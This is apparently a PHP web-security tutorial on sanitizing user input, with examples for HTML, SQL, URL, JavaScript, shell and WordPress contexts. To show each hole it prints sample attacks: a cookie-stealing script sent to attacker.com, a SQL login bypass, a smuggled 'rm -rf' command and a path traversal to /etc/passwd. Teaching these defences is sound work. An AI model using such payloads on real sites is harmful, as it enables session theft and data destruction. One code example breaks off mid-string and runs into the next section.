Sanitizing User Input
Learning Objectives
- Master PHP programming concepts
- Write clean, maintainable code
- Apply best practices
- Build dynamic applications
Why Sanitization Matters
Sanitizing user input is a critical security practice in web development. While validation ensures data meets expected criteria, sanitization ensures that data is safe to use in your application. Proper sanitization prevents malicious attacks like Cross-Site Scripting (XSS), SQL injection, and other security vulnerabilities.
The Kitchen Hygiene Analogy
Think of sanitization like kitchen hygiene:
- Validation is like checking if ingredients are appropriate for your recipe (e.g., verifying that mushrooms are edible varieties).
- Sanitization is like washing those ingredients to remove dirt, bacteria, or pesticides before cooking.
- Different cooking contexts require different levels of cleanliness, just as different parts of your application require different types of sanitization.
- Cross-contamination in a kitchen can make people sick, just as unsanitized data can "infect" your database or output.
Just as a professional chef would never skip washing ingredients, a professional developer should never skip sanitizing user input.
Validation vs. Sanitization
| Aspect | Validation | Sanitization |
|---|---|---|
| Purpose | Ensures data meets expected criteria | Makes data safe for use in specific contexts |
| Action | Accepts or rejects data | Modifies data by removing or encoding unsafe parts |
| When to use | Before accepting user input | Before using data in a specific context |
| Example | "Email must contain @" | Convert "<script>" to "<script>" |
| Focus | Business rules and data quality | Security and system integrity |
Common Security Vulnerabilities
Understanding what we're protecting against helps us implement more effective sanitization. Here are the most common vulnerabilities that proper sanitization prevents:
XSS (Cross-Site Scripting)
XSS attacks occur when an attacker injects malicious client-side scripts into web pages viewed by other users.
Example of XSS Vulnerability:
<!-- Vulnerable Comment Display -->
<?php
// UNSAFE CODE - DO NOT USE
$comment = $_POST['comment'];
echo "User Comment: " . $comment;
?>
<!-- If a user submits this as a comment: -->
<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
<!-- It would be rendered as: -->
User Comment: <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
<!-- The script would execute when other users view the comment,
potentially stealing their session cookies. -->
SQL Injection
SQL injection occurs when untrusted data is inserted into SQL queries, potentially allowing attackers to execute arbitrary database commands.
Example of SQL Injection Vulnerability:
<?php
// UNSAFE CODE - DO NOT USE
$username = $_POST['username'];
$password = $_POST['password'];
// Vulnerable query construction
$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($connection, $query);
// If attacker enters username: admin' --
// The query becomes:
// SELECT * FROM users WHERE username = 'admin' -- ' AND password = 'anything'
// The -- makes the rest of the query a comment, allowing login as admin without a password
?>
Command Injection
Command injection allows attackers to execute arbitrary system commands on the host operating system.
Example of Command Injection Vulnerability:
<?php
// UNSAFE CODE - DO NOT USE
$filename = $_GET['filename'];
system("ls -la " . $filename);
// If attacker uses filename: "; rm -rf /important-files; echo "
// The command becomes:
// ls -la ; rm -rf /important-files; echo ""
// This executes three commands instead of one, with the middle command deleting files
?>
Path Traversal
Path traversal (directory traversal) attacks aim to access files and directories outside the intended file system path.
Example of Path Traversal Vulnerability:
<?php
// UNSAFE CODE - DO NOT USE
$file = $_GET['file'];
include('/var/www/app/public/' . $file);
// If attacker sets file to: ../../../../../../etc/passwd
// The path becomes:
// /var/www/app/public/../../../../../../etc/passwd
// Which resolves to /etc/passwd, potentially exposing system files
?>
Header Injection
HTTP header injection occurs when unsanitized user input is included in HTTP response headers, potentially leading to response splitting attacks.
Example of Header Injection Vulnerability:
<?php
// UNSAFE CODE - DO NOT USE
$redirect = $_GET['url'];
header("Location: " . $redirect);
// If attacker uses url: http://example.com%0D%0ASet-Cookie:%20malicious=1
// The header becomes:
// Location: http://example.com
// Set-Cookie: malicious=1
// This injects an additional header that sets a cookie
?>
PHP Sanitization Functions
PHP provides several built-in functions for sanitizing different types of data. Using these functions appropriately helps prevent security vulnerabilities.
Basic PHP Sanitization Functions
| Function | Purpose | Example |
|---|---|---|
htmlspecialchars() |
Converts special characters to HTML entities | $safe_text = htmlspecialchars($user_input); |
htmlentities() |
Converts all applicable characters to HTML entities | $safe_html = htmlentities($user_input); |
strip_tags() |
Removes HTML and PHP tags | $text_only = strip_tags($html_content); |
filter_var() |
Filters a variable with a specified filter | $email = filter_var($input, FILTER_SANITIZE_EMAIL); |
mysqli_real_escape_string() |
Escapes special characters for MySQL queries | $safe_input = mysqli_real_escape_string($conn, $input); |
PDO::prepare() |
Prepares SQL statements with placeholders | $stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?"); |
addslashes() |
Escapes quotes with backslashes | $escaped = addslashes($string); |
escapeshellarg() |
Escapes shell arguments | system('ls ' . escapeshellarg($directory)); |
escapeshellcmd() |
Escapes shell commands | system(escapeshellcmd($command)); |
Using PHP Filter Functions
The filter_var() and filter_input() functions provide a unified way to sanitize different types of data.
Common Filter Types:
| Filter | Purpose | Example |
|---|---|---|
FILTER_SANITIZE_EMAIL |
Remove illegal characters from email addresses | $email = filter_var($input, FILTER_SANITIZE_EMAIL); |
FILTER_SANITIZE_URL |
Remove illegal characters from URLs | $url = filter_var($input, FILTER_SANITIZE_URL); |
FILTER_SANITIZE_NUMBER_INT |
Remove everything except digits and plus/minus signs | $int = filter_var($input, FILTER_SANITIZE_NUMBER_INT); |
FILTER_SANITIZE_NUMBER_FLOAT |
Remove everything except digits, plus/minus signs, and optionally .,eE | $float = filter_var($input, FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION); |
FILTER_SANITIZE_FULL_SPECIAL_CHARS |
Equivalent to htmlspecialchars() with ENT_QUOTES flag | $text = filter_var($input, FILTER_SANITIZE_FULL_SPECIAL_CHARS); |
Example of filter_var() Usage:
<?php
// Sanitizing different types of input
$email = filter_var($_POST['email'], FILTER_SANITIZE_EMAIL);
$url = filter_var($_POST['website'], FILTER_SANITIZE_URL);
$integer = filter_var($_POST['age'], FILTER_SANITIZE_NUMBER_INT);
// Verify after sanitizing
if (filter_var($email, FILTER_VALIDATE_EMAIL)) {
echo "Valid email format: " . $email;
} else {
echo "Invalid email format after sanitization";
}
?>
Using filter_input() for Direct Superglobal Access:
<?php
// Sanitizing and filtering directly from superglobals
$email = filter_input(INPUT_POST, 'email', FILTER_SANITIZE_EMAIL);
$url = filter_input(INPUT_GET, 'website', FILTER_SANITIZE_URL);
// Combined sanitization and validation
$age = filter_input(INPUT_POST, 'age', FILTER_VALIDATE_INT, [
'options' => [
'default' => 0,
'min_range' => 1,
'max_range' => 120
]
]);
// Handling the result
if ($age === false) {
echo "Invalid age or out of allowed range";
} else {
echo "Age: " . $age;
}
?>
Context-Specific Sanitization
Different contexts require different sanitization approaches. The same data might need different treatment depending on where it's being used.
Context-Sensitive Sanitization
HTML Context Sanitization
When outputting user data in HTML, you need to prevent XSS attacks by converting special characters to HTML entities.
Example of HTML Context Sanitization:
<?php
// Sanitizing for HTML output
$user_comment = htmlspecialchars($_POST['comment'], ENT_QUOTES, 'UTF-8');
// Understanding the flags:
// ENT_QUOTES: Converts both double and single quotes
// 'UTF-8': Specifies character encoding
// Now safe to output in HTML
echo "<div class='comment'>" . $user_comment . "</div>";
// If you need to preserve some HTML tags while sanitizing
$allowed_tags = '<p><a><strong><em><ul><ol><li>';
$rich_comment = strip_tags($_POST['rich_comment'], $allowed_tags);
// Note: strip_tags alone is not sufficient for XSS protection!
// Further sanitization of attributes might be needed
?>
Common Mistakes to Avoid:
- Using
strip_tags()alone for XSS protection (doesn't handle attribute-based attacks) - Forgetting to specify character encoding
- Not escaping quotes (using ENT_QUOTES flag)
- Only sanitizing some HTML contexts but not others (like attributes)
SQL Context Sanitization
Protecting against SQL injection requires either prepared statements (preferred) or proper escaping of values used in queries.
Example of SQL Context Sanitization with Prepared Statements:
<?php
// Using prepared statements with MySQLi
$stmt = $mysqli->prepare("SELECT * FROM users WHERE username = ? AND status = ?");
$stmt->bind_param("ss", $username, $status); // "ss" means two strings
$stmt->execute();
$result = $stmt->get_result();
// Using prepared statements with PDO
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username AND status = :status");
$stmt->execute([
':username' => $username,
':status' => $status
]);
$result = $stmt->fetchAll();
// If you absolutely cannot use prepared statements (not recommended)
$username = mysqli_real_escape_string($mysqli, $username);
$status = mysqli_real_escape_string($mysqli, $status);
$query = "SELECT * FROM users WHERE username = '$username' AND status = '$status'";
$result = $mysqli->query($query);
?>
Common Mistakes to Avoid:
- Directly inserting variables into SQL queries without preparation or escaping
- Using outdated mysql_* functions (they're deprecated and removed from PHP 7+)
- Not escaping all user inputs used in queries
- Incorrectly typing parameters in prepared statements
- Not handling numeric data properly (type casting when needed)
URL Context Sanitization
When working with URLs, proper encoding prevents header injection, open redirects, and other URL-based attacks.
Example of URL Context Sanitization:
<?php
// Sanitizing a URL parameter
$page = filter_input(INPUT_GET, 'page', FILTER_SANITIZE_URL);
// If creating a redirect URL from user input (dangerous, use with caution)
$redirect_url = filter_var($_GET['redirect'], FILTER_SANITIZE_URL);
// Validate the URL after sanitization (very important!)
if (filter_var($redirect_url, FILTER_VALIDATE_URL)) {
// Additional validation: Only allow specific domains
$parsed_url = parse_url($redirect_url);
$allowed_domains = ['example.com', 'subdomain.example.com'];
if (in_array($parsed_url['host'], $allowed_domains)) {
header("Location: " . $redirect_url);
exit;
}
}
// When adding parameters to URLs
$params = [
'name' => $user_name,
'query' => $search_term
];
$safe_url = 'search.php?' . http_build_query($params);
// Result: search.php?name=John+Doe&query=search+term
?>
Common Mistakes to Avoid:
- Not validating URLs after sanitization
- Creating open redirects (always whitelist allowed domains)
- Manually constructing query strings (use http_build_query() instead)
- Not checking URL protocols (restrict to http:// and https://)
- Not encoding URL components in JavaScript contexts
JavaScript Context Sanitization
When including user data in JavaScript, proper encoding prevents JavaScript injection attacks.
Example of JavaScript Context Sanitization:
<?php
// User data to be included in JavaScript
$username = $_POST['username'];
$preferences = [
'theme' => $_POST['theme'],
'language' => $_POST['language']
];
// UNSAFE way (DO NOT USE):
echo "<script>
";
echo "let username = '" . $username . "';
"; // Vulnerable to JS injection
echo "</script>";
// SAFE way - using json_encode():
$safe_username = json_encode($username);
$safe_preferences = json_encode($preferences);
?>
<script>
// Safe output in JavaScript context
let username = <?php echo $safe_username; ?>;
let preferences = <?php echo $safe_preferences; ?>;
// Alternatively, use data attributes and access via JavaScript
</script>
<!-- Another safe approach using data attributes -->
<div id="user-info"
data-username="<?php echo htmlspecialchars($username); ?>"
data-preferences="<?php echo htmlspecialchars(json_encode($preferences)); ?>">
</div>
<script>
// Get data from attributes
const userInfo = document.getElementById('user-info');
const username = userInfo.dataset.username;
const preferences = JSON.parse(userInfo.dataset.preferences);
</script>
Common Mistakes to Avoid:
- Directly inserting PHP variables into JavaScript strings
- Forgetting that HTML context and JavaScript context require different sanitization
- Not encoding nested structures properly
- Handcrafting JSON instead of using json_encode()
- Not escaping HTML attributes when using data attributes
Shell Command Context
When executing shell commands with user input (which should be avoided if possible), proper escaping is essential to prevent command injection.
Example of Shell Command Sanitization:
<?php
// NEVER use user input directly in shell commands
// UNSAFE (DO NOT USE):
system("ping " . $_GET['host']); // Vulnerable to command injection
// SAFER (but still try to avoid shell commands with user input):
$host = escapeshellarg($_GET['host']);
system("ping " . $host);
// BEST: Use PHP native functions instead of shell commands when possible
if (filter_var($_GET['host'], FILTER_VALIDATE_IP)) {
// Use fsockopen or other PHP functions instead of system ping
}
// When you must use exec, capture output safely
$command = 'ls ' . escapeshellarg($directory);
$output = [];
$return_var = null;
exec($command, $output, $return_var);
// For shell arguments vs. commands:
// escapeshellarg() - for individual arguments
// escapeshellcmd() - for entire command strings
?>
Common Mistakes to Avoid:
- Using shell commands when PHP native functions would work
- Confusing escapeshellarg() and escapeshellcmd()
- Not validating input before using it in shell contexts
- Disabling safe mode or other PHP security features
- Not checking return values from shell commands
Handling Rich Text Content
Sometimes you need to allow certain HTML tags in user input, such as for comment systems or content management systems. This requires special sanitization approaches.
Using HTML Purifier
HTML Purifier is a standards-compliant HTML filter library that helps you prevent XSS while allowing certain HTML elements.
Example of Using HTML Purifier:
<?php
// First, install HTML Purifier via Composer:
// composer require ezyang/htmlpurifier
// Basic HTML Purifier usage
require_once 'vendor/autoload.php';
$config = HTMLPurifier_Config::createDefault();
$purifier = new HTMLPurifier($config);
$clean_html = $purifier->purify($_POST['content']);
// Now $clean_html is safe to store in your database or output
// Customizing HTML Purifier configuration
$config = HTMLPurifier_Config::createDefault();
// Allow only specific tags
$config->set('HTML.Allowed', 'p,b,i,strong,em,a[href|title],ul,ol,li,br,span[style]');
// Set link targets
$config->set('HTML.TargetBlank', true);
// Allow some CSS properties
$config->set('CSS.AllowedProperties', 'font,font-size,font-weight,font-style,color,text-align');
// Create purifier with custom config
$purifier = new HTMLPurifier($config);
$clean_html = $purifier->purify($_POST['content']);
?>
Creating Custom Sanitization Functions
Sometimes you need to create custom sanitization for specific application requirements.
Example of Custom Sanitization Function:
<?php
/**
* Sanitize HTML content while allowing specific tags and attributes
*
* @param string $content The HTML content to sanitize
* @return string Sanitized HTML
*/
function sanitize_rich_content($content) {
// Define allowed HTML tags and attributes
$allowed_tags = [
'p' => ['class', 'id', 'style'],
'a' => ['href', 'title', 'class', 'id', 'target'],
'strong' => [],
'em' => [],
'ul' => ['class', 'id'],
'ol' => ['class', 'id'],
'li' => ['class', 'id'],
'h2' => ['class', 'id'],
'h3' => ['class', 'id'],
'br' => [],
'img' => ['src', 'alt', 'title', 'width', 'height', 'class', 'id']
];
// Remove all HTML tags not in our allowed list
$content = strip_tags($content, '<' . implode('><', array_keys($allowed_tags)) . '>');
// Load content into DOMDocument for processing
$dom = new DOMDocument();
// Suppress errors for malformed HTML
libxml_use_internal_errors(true);
$dom->loadHTML('' . $content . '', LIBXML_HTML_NOIMPLIED | LIBXML_HTML_NODEFDTD);
libxml_clear_errors();
// Process all elements
$elements = $dom->getElementsByTagName('*');
for ($i = $elements->length - 1; $i >= 0; $i--) {
$element = $elements->item($i);
$tag_name = strtolower($element->tagName);
// Remove disallowed tags
if (!isset($allowed_tags[$tag_name])) {
$element->parentNode->removeChild($element);
continue;
}
// Process attributes
$allowed_attributes = $allowed_tags[$tag_name];
$attributes = $element->attributes;
for ($j = $attributes->length - 1; $j >= 0; $j--) {
$attribute = $attributes->item($j);
$attribute_name = strtolower($attribute->name);
// Remove disallowed attributes
if (!in_array($attribute_name, $allowed_attributes)) {
$element->removeAttribute($attribute_name);
continue;
}
// Sanitize URLs in href and src attributes
if ($attribute_name === 'href' || $attribute_name === 'src') {
$url = $attribute->value;
$sanitized_url = filter_var($url, FILTER_SANITIZE_URL);
// Additional checks for JavaScript URLs
if (preg_match('/^javascript:/i', $sanitized_url)) {
$element->removeAttribute($attribute_name);
} else {
$element->setAttribute($attribute_name, $sanitized_url);
}
}
// Sanitize style attributes (simplified example)
if ($attribute_name === 'style') {
$style = $attribute->value;
// Remove potentially harmful CSS
$sanitized_style = preg_replace('/expression\s*\(|javascript:|behavior:|position\s*:\s*fixed/i', '', $style);
$element->setAttribute($attribute_name, $sanitized_style);
}
}
}
// Get the body content only
$body = $dom->getElementsByTagName('div')->item(0);
$clean_html = '';
if ($body) {
foreach ($body->childNodes as $child) {
$clean_html .= $dom->saveHTML($child);
}
}
return $clean_html;
}
// Usage
$sanitized_content = sanitize_rich_content($_POST['editor_content']);
?>
Note: The above function is a simplified example. For production use, consider using established libraries like HTML Purifier instead of creating your own sanitization functions.
Using Markdown Instead of HTML
For many applications, allowing Markdown instead of HTML is a safer approach while still providing rich content capabilities.
Example of Markdown Approach:
<?php
// First, install Parsedown via Composer:
// composer require erusev/parsedown
// Basic Parsedown usage
require_once 'vendor/autoload.php';
// Sanitize the markdown input (still important!)
$markdown = htmlspecialchars($_POST['content']);
// Convert to HTML
$parsedown = new Parsedown();
$parsedown->setSafeMode(true); // Important for security!
$html = $parsedown->text($markdown);
// Output is now safe to display
echo $html;
// If you need to allow certain HTML within Markdown
$parsedown = new Parsedown();
$parsedown->setSafeMode(true);
$parsedown->setMarkupEscaped(false); // Be careful with this option!
$html = $parsedown->text($markdown);
?>
Advantages of Using Markdown:
- Simpler syntax for users to learn compared to HTML
- Reduced attack surface for XSS
- Easier to sanitize and control
- Libraries like Parsedown handle the HTML generation safely
- Works well for comments, forum posts, and other user-generated content
Sanitization Best Practices
Follow these best practices to ensure your application's security through proper sanitization.
General Sanitization Principles
- Validate input, sanitize output: Validate that input meets your requirements, then sanitize it before using it in a specific context.
- Context matters: Use the appropriate sanitization method for each context (HTML, SQL, URLs, etc.).
- Defense in depth: Apply multiple layers of security rather than relying on a single sanitization method.
- Whitelist, don't blacklist: Allow only known-good input rather than trying to block known-bad input.
- Never trust user input: Even if you've validated it on the client side.
- Store data in its rawest form: Sanitize when outputting, not necessarily when storing.
- Use prepared statements for SQL: They're the most reliable way to prevent SQL injection.
- Encode special characters: Use context-appropriate encoding functions like htmlspecialchars() for HTML.
- Use established libraries: Don't reinvent the wheel for complex sanitization needs.
- Keep dependencies updated: Security vulnerabilities are frequently discovered and patched in libraries.
Complete Sanitization Example
<?php
/**
* Example User Profile Update Form Processing
* Demonstrating proper sanitization in different contexts
*/
// Start session
session_start();
// Process form submission
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
// Initialize arrays for data and errors
$data = [];
$errors = [];
// Validate and sanitize username
$username = filter_input(INPUT_POST, 'username', FILTER_SANITIZE_STRING);
if (empty($username)) {
$errors['username'] = 'Username is required';
} elseif (strlen($username) < 3 || strlen($username) > 20) {
$errors['username'] = 'Username must be between 3 and 20 characters';
} elseif (!preg_match('/^[a-zA-Z0-9_]+$/', $username)) {
$errors['username'] = 'Username can only contain letters, numbers, and underscores';
} else {
$data['username'] = $username;
}
// Validate and sanitize email
$email = filter_input(INPUT_POST, 'email', FILTER_SANITIZE_EMAIL);
if (empty($email)) {
$errors['email'] = 'Email is required';
} elseif (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
$errors['email'] = 'Invalid email format';
} else {
$data['email'] = $email;
}
// Validate and sanitize website URL (optional field)
$website = filter_input(INPUT_POST, 'website', FILTER_SANITIZE_URL);
if (!empty($website)) {
if (!filter_var($website, FILTER_VALIDATE_URL)) {
$errors['website'] = 'Invalid website URL';
} else {
$data['website'] = $website;
}
} else {
$data['website'] = null; // Set to null if empty
}
// Validate and sanitize bio (allow some HTML tags)
$bio = $_POST['bio'] ?? '';
if (!empty($bio)) {
// Option 1: Strip all HTML tags
//$data['bio'] = strip_tags($bio);
// Option 2: Allow limited HTML tags
$allowed_tags = '
Sanitization in WordPress
WordPress provides several built-in functions for sanitizing different types of data in various contexts.
WordPress Sanitization Functions
| Function | Purpose | Example |
|---|---|---|
sanitize_text_field() |
Sanitizes a string by removing HTML tags and normalizing whitespace | $name = sanitize_text_field($_POST['name']); |
sanitize_textarea_field() |
Similar to sanitize_text_field() but preserves newlines | $message = sanitize_textarea_field($_POST['message']); |
sanitize_email() |
Strips invalid characters from email addresses | $email = sanitize_email($_POST['email']); |
sanitize_title() |
Converts title to safe slug format | $slug = sanitize_title($title); |
sanitize_file_name() |
Sanitizes a filename | $filename = sanitize_file_name($_FILES['file']['name']); |
sanitize_key() |
Sanitizes a key/slug (lowercase alphanumeric, dashes, and underscores) | $key = sanitize_key($_GET['key']); |
sanitize_meta() |
Sanitizes metadata based on context | $meta_value = sanitize_meta($key, $value, $object_type); |
sanitize_html_class() |
Sanitizes an HTML classname | $class = sanitize_html_class($_GET['class']); |
sanitize_user() |
Sanitizes a username | $user = sanitize_user($_POST['username']); |
wp_kses() |
Filters content with allowed HTML tags/attributes | $content = wp_kses($content, $allowed_html); |
wp_kses_post() |
Filters content with allowed post HTML | $post_content = wp_kses_post($_POST['content']); |
WordPress Sanitization Examples
<?php
/**
* Example plugin form handling with WordPress sanitization functions
*/
function my_plugin_process_form() {
// Check if form was submitted
if (isset($_POST['my_plugin_form_submit']) && check_admin_referer('my_plugin_form_action', 'my_plugin_nonce')) {
// Sanitize form fields
$title = sanitize_text_field($_POST['title'] ?? '');
$slug = sanitize_title($_POST['title'] ?? '');
$email = sanitize_email($_POST['email'] ?? '');
$website = esc_url_raw($_POST['website'] ?? '');
$description = sanitize_textarea_field($_POST['description'] ?? '');
// Allow only certain HTML tags in content
$allowed_html = [
'a' => [
'href' => [],
'title' => [],
'target' => []
],
'p' => [],
'strong' => [],
'em' => [],
'ul' => [],
'ol' => [],
'li' => []
];
$content = wp_kses($_POST['content'] ?? '', $allowed_html);
// For post content (with WordPress allowed HTML)
$post_content = wp_kses_post($_POST['post_content'] ?? '');
// Save options to database
update_option('my_plugin_title', $title);
update_option('my_plugin_email', $email);
update_option('my_plugin_website', $website);
update_option('my_plugin_description', $description);
update_option('my_plugin_content', $content);
update_option('my_plugin_post_content', $post_content);
// Set success message
add_settings_error(
'my_plugin_messages',
'my_plugin_success',
'Settings saved successfully.',
'updated'
);
}
}
add_action('admin_init', 'my_plugin_process_form');
/**
* Display the plugin settings form
*/
function my_plugin_settings_page() {
// Get saved options
$title = get_option('my_plugin_title', '');
$email = get_option('my_plugin_email', '');
$website = get_option('my_plugin_website', '');
$description = get_option('my_plugin_description', '');
$content = get_option('my_plugin_content', '');
$post_content = get_option('my_plugin_post_content', '');
// Display settings errors
settings_errors('my_plugin_messages');
?>
<div class="wrap">
<h1><?php echo esc_html(get_admin_page_title()); ?></h1>
<form method="post" action="">
<?php wp_nonce_field('my_plugin_form_action', 'my_plugin_nonce'); ?>
<table class="form-table">
<tr>
<th scope="row"><label for="title">Title</label></th>
<td>
<input type="text" id="title" name="title" value="<?php echo esc_attr($title); ?>" class="regular-text">
</td>
</tr>
<tr>
<th scope="row"><label for="email">Email</label></th>
<td>
<input type="email" id="email" name="email" value="<?php echo esc_attr($email); ?>" class="regular-text">
</td>
</tr>
<tr>
<th scope="row"><label for="website">Website</label></th>
<td>
<input type="url" id="website" name="website" value="<?php echo esc_url($website); ?>" class="regular-text">
</td>
</tr>
<tr>
<th scope="row"><label for="description">Description</label></th>
<td>
<textarea id="description" name="description" rows="5" class="large-text"><?php echo esc_textarea($description); ?></textarea>
</td>
</tr>
<tr>
<th scope="row"><label for="content">Limited HTML Content</label></th>
<td>
<textarea id="content" name="content" rows="5" class="large-text"><?php echo esc_textarea($content); ?></textarea>
<p class="description">Allowed HTML: a (href, title, target), p, strong, em, ul, ol, li</p>
</td>
</tr>
<tr>
<th scope="row"><label for="post_content">Post Content</label></th>
<td>
<?php wp_editor($post_content, 'post_content', ['textarea_rows' => 10]); ?>
<p class="description">Standard WordPress content editor with allowed HTML.</p>
</td>
</tr>
</table>
<p class="submit">
<input type="submit" name="my_plugin_form_submit" class="button button-primary" value="Save Settings">
</p>
</form>
</div>
<?php
}
/**
* Secure Ajax handler for WordPress
*/
function my_plugin_ajax_handler() {
// Check for nonce security
check_ajax_referer('my_plugin_ajax_nonce', 'security');
// Sanitize input data
$action = sanitize_key($_POST['custom_action'] ?? '');
$item_id = absint($_POST['item_id'] ?? 0);
// Perform different actions based on requested action
switch ($action) {
case 'delete_item':
// Check user permissions
if (!current_user_can('delete_posts')) {
wp_send_json_error('Permission denied');
}
// Process the delete action
$result = wp_delete_post($item_id, true);
if ($result) {
wp_send_json_success('Item deleted successfully');
} else {
wp_send_json_error('Error deleting item');
}
break;
case 'update_status':
// Sanitize status
$status = sanitize_key($_POST['status'] ?? '');
// Validate status
$allowed_statuses = ['draft', 'pending', 'publish'];
if (!in_array($status, $allowed_statuses)) {
wp_send_json_error('Invalid status');
}
// Update post status
$result = wp_update_post([
'ID' => $item_id,
'post_status' => $status
]);
if ($result) {
wp_send_json_success('Status updated successfully');
} else {
wp_send_json_error('Error updating status');
}
break;
default:
wp_send_json_error('Invalid action');
break;
}
// Always die in functions handling Ajax
wp_die();
}
add_action('wp_ajax_my_plugin_action', 'my_plugin_ajax_handler');
?>
WordPress Front-End Form Sanitization
<?php
/**
* Process a front-end form in WordPress
*/
function process_contact_form() {
// Check if form was submitted
if (isset($_POST['contact_submit'])) {
// Verify nonce
if (!isset($_POST['contact_nonce']) || !wp_verify_nonce($_POST['contact_nonce'], 'contact_form_nonce')) {
wp_die('Security check failed');
}
// Initialize errors array
$errors = [];
// Sanitize and validate name
$name = sanitize_text_field($_POST['name'] ?? '');
if (empty($name)) {
$errors['name'] = 'Please enter your name';
}
// Sanitize and validate email
$email = sanitize_email($_POST['email'] ?? '');
if (empty($email) || !is_email($email)) {
$errors['email'] = 'Please enter a valid email address';
}
// Sanitize and validate subject
$subject = sanitize_text_field($_POST['subject'] ?? '');
if (empty($subject)) {
$errors['subject'] = 'Please enter a subject';
}
// Sanitize and validate message
$message = sanitize_textarea_field($_POST['message'] ?? '');
if (empty($message)) {
$errors['message'] = 'Please enter your message';
}
// If no errors, process the form
if (empty($errors)) {
// Format email content
$email_content = "Name: $name
";
$email_content .= "Email: $email
";
$email_content .= "Message:
$message";
// Email headers
$headers = ['Content-Type: text/plain; charset=UTF-8'];
$headers[] = 'From: ' . get_bloginfo('name') . ' <' . get_option('admin_email') . '>';
$headers[] = 'Reply-To: ' . $name . ' <' . $email . '>';
// Send email
$mail_sent = wp_mail(get_option('admin_email'), $subject, $email_content, $headers);
if ($mail_sent) {
// Redirect to thank you page
wp_redirect(home_url('/thank-you/'));
exit;
} else {
// Set error message in session
$_SESSION['contact_error'] = 'There was a problem sending your message. Please try again.';
// Save form data in session
$_SESSION['contact_form'] = [
'name' => $name,
'email' => $email,
'subject' => $subject,
'message' => $message
];
// Redirect back to form
wp_redirect(wp_get_referer());
exit;
}
} else {
// Save errors and form data in session
$_SESSION['contact_errors'] = $errors;
$_SESSION['contact_form'] = [
'name' => $name,
'email' => $email,
'subject' => $subject,
'message' => $message
];
// Redirect back to form
wp_redirect(wp_get_referer());
exit;
}
}
}
add_action('template_redirect', 'process_contact_form');
/**
* Shortcode to display contact form
*/
function contact_form_shortcode() {
// Start output buffering
ob_start();
// Get saved errors and form data
$errors = $_SESSION['contact_errors'] ?? [];
$form_data = $_SESSION['contact_form'] ?? [];
$error_message = $_SESSION['contact_error'] ?? '';
// Clear session variables
unset($_SESSION['contact_errors']);
unset($_SESSION['contact_form']);
unset($_SESSION['contact_error']);
// Display error message if any
if (!empty($error_message)) {
echo '<div class="error-message">' . esc_html($error_message) . '</div>';
}
// Display the form
?>
<form method="post" class="contact-form">
<?php wp_nonce_field('contact_form_nonce', 'contact_nonce'); ?>
<div class="form-group">
<label for="name">Name *</label>
<input type="text" id="name" name="name" value="<?php echo esc_attr($form_data['name'] ?? ''); ?>" required>
<?php if (isset($errors['name'])): ?>
<span class="error"><?php echo esc_html($errors['name']); ?></span>
<?php endif; ?>
</div>
<div class="form-group">
<label for="email">Email *</label>
<input type="email" id="email" name="email" value="<?php echo esc_attr($form_data['email'] ?? ''); ?>" required>
<?php if (isset($errors['email'])): ?>
<span class="error"><?php echo esc_html($errors['email']); ?></span>
<?php endif; ?>
</div>
<div class="form-group">
<label for="subject">Subject *</label>
<input type="text" id="subject" name="subject" value="<?php echo esc_attr($form_data['subject'] ?? ''); ?>" required>
<?php if (isset($errors['subject'])): ?>
<span class="error"><?php echo esc_html($errors['subject']); ?></span>
<?php endif; ?>
</div>
<div class="form-group">
<label for="message">Message *</label>
<textarea id="message" name="message" rows="5" required><?php echo esc_textarea($form_data['message'] ?? ''); ?></textarea>
<?php if (isset($errors['message'])): ?>
<span class="error"><?php echo esc_html($errors['message']); ?></span>
<?php endif; ?>
</div>
<div class="form-group">
<input type="submit" name="contact_submit" value="Send Message" class="submit-button">
</div>
</form>
<?php
// Return the buffered content
return ob_get_clean();
}
add_shortcode('contact_form', 'contact_form_shortcode');
?>
WordPress Security Functions
| Function | Purpose | Example |
|---|---|---|
wp_nonce_field() |
Creates a nonce field for a form | wp_nonce_field('action_name', 'field_name'); |
wp_verify_nonce() |
Verifies a nonce | wp_verify_nonce($_POST['nonce'], 'action_name'); |
check_admin_referer() |
Verifies a nonce for admin pages | check_admin_referer('action_name', 'nonce_name'); |
check_ajax_referer() |
Verifies a nonce for Ajax requests | check_ajax_referer('ajax_nonce', 'security'); |
wp_create_nonce() |
Creates a nonce | $nonce = wp_create_nonce('action_name'); |
current_user_can() |
Checks user capabilities | if (current_user_can('edit_posts')) { ... } |
esc_url() |
Escapes a URL for safe output | echo esc_url($url); |
esc_url_raw() |
Escapes a URL for database storage | $safe_url = esc_url_raw($_POST['url']); |
esc_attr() |
Escapes for HTML attributes | echo 'value="' . esc_attr($value) . '"'; |
esc_html() |
Escapes for HTML output | echo esc_html($text); |
esc_js() |
Escapes for use in JavaScript | echo 'var data = "' . esc_js($data) . '"'; |
esc_textarea() |
Escapes for use in a textarea | echo esc_textarea($content); |
Homework: Sanitization Practice
Complete the following exercises to practice sanitizing user input in various contexts.
Task 1: Basic Sanitization
Create a simple contact form with the following fields:
- Name
- Phone
- Message
Implement the following:
- Server-side validation for all fields
- Appropriate sanitization for each field type
- Display sanitized data in a confirmation message
- Store sanitized data in a file or database
- Include comments explaining your sanitization choices
Task 2: Context-Specific Sanitization
Create a PHP script that:
- Takes user input and outputs it in different contexts (HTML, SQL, JavaScript, URL)
- Demonstrates appropriate sanitization for each context
- Shows what would happen without proper sanitization (with commented-out examples)
- Creates a table comparing the input and output for each context
Task 3: WordPress Sanitization
Create a simple WordPress plugin that:
- Adds a settings page with various input types (text, textarea, email, URL, etc.)
- Properly sanitizes all input using WordPress functions
- Includes security features like nonces and capability checks
- Stores sanitized data in the WordPress options table
- Displays sanitized data safely on the front-end
Bonus Challenge: Rich Text Editor
Create a system for allowing users to input rich text content (with some HTML allowed) while maintaining security:
- Implement a rich text editor (can use a JavaScript library like TinyMCE)
- Define a whitelist of allowed HTML tags and attributes
- Create a custom sanitization function that allows the whitelisted HTML but removes everything else
- Handle special cases like URLs in href attributes
- Display the sanitized rich content safely
Additional Resources
PHP Security Documentation
WordPress Documentation
Security Resources
- OWASP Top Ten Web Application Security Risks
